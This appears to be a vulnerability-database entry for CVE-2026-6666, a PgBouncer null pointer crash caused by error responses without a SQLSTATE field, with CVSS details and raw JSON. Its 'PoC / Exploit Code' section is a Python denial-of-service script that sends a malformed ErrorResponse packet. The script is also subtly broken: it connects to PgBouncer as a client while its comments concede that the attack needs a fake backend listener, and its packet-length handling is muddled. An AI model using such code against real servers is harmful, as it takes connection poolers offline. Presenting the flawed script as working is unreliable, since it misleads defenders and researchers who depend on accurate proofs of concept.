Security Vulnerability Report
中文
CVE-2026-6666 CVSS 5.9 MEDIUM

CVE-2026-6666

Published: 2026-05-09 01:16:09
Last Modified: 2026-05-09 01:16:09
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

A possible null pointer reference in PgBouncer before 1.25.2 could lead to a crash, if a server sends an error response without SQLSTATE field.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

PgBouncer < 1.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-6666: PgBouncer Null Pointer Dereference # This script simulates a malicious PostgreSQL backend server sending an ErrorResponse # without the required SQLSTATE field to crash PgBouncer. import socket import struct def send_malformed_error(target_host, target_port): try: # Connect to PgBouncer (acting as a backend) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # PgBouncer startup message handling might vary, but we assume we are in a state # where we can send a response to PgBouncer (e.g., after it connects to us). # In a real scenario, this requires setting up a listener that PgBouncer connects to. # Construct a malformed ErrorResponse packet # Format: 'E' + length + fields... + 0x00 # Normal packet has 'S' for SQLSTATE. We omit it. # 'M' for Message. msg = b'Error triggering crash' packet = b'E' + struct.pack('>I', 4 + 1 + len(msg) + 1 + 1) # Length placeholder logic packet += b'M' + msg + b'\x00' # Message field packet += b'\x00' # Terminator # Fix length (Int32 includes self) length = len(packet) packet = b'E' + struct.pack('>I', length) + packet[5:] s.send(packet) print(f"[*] Malformed packet sent to {target_host}:{target_port}") print("[*] Check if PgBouncer crashed.") s.close() except Exception as e: print(f"[!] Error: {e}") # Usage: python poc.py <pgbouncer_host> <pgbouncer_port> # Note: This usually requires the attacker to act as the backend database server # that PgBouncer tries to connect to.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6666", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-09T01:16:09.153", "lastModified": "2026-05-09T01:16:09.153", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A possible null pointer reference in PgBouncer before 1.25.2 could lead to a crash, if a server sends an error response without SQLSTATE field."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://www.pgbouncer.org/changelog.html#pgbouncer-125x", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}